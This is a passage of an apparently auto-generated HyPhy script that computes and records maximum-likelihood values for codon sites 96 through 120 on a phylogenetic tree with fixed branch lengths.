ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "96\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 97...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "288,289,290", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 97");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "97\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 98...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "291,292,293", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 98");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "98\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 99...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "294,295,296", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 99");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "99\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 100...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "297,298,299", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 100");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "100\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 101...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "300,301,302", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 101");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "101\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 102...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "303,304,305", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 102");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "102\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 103...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "306,307,308", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 103");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "103\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 104...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "309,310,311", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 104");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "104\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 105...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "312,313,314", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 105");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "105\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 106...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "315,316,317", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 106");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "106\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 107...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "318,319,320", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 107");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "107\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 108...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "321,322,323", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 108");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "108\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 109...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "324,325,326", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 109");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "109\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 110...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "327,328,329", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 110");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "110\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 111...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "330,331,332", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 111");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "111\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 112...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "333,334,335", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 112");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "112\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 113...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "336,337,338", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 113");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "113\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 114...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "339,340,341", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 114");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "114\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 115...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "342,343,344", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 115");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "115\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 116...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "345,346,347", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 116");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "116\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 117...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "348,349,350", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 117");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "117\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 118...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "351,352,353", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 118");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "118\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 119...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "354,355,356", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 119");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "119\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 120...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "357,358,359", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 120");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
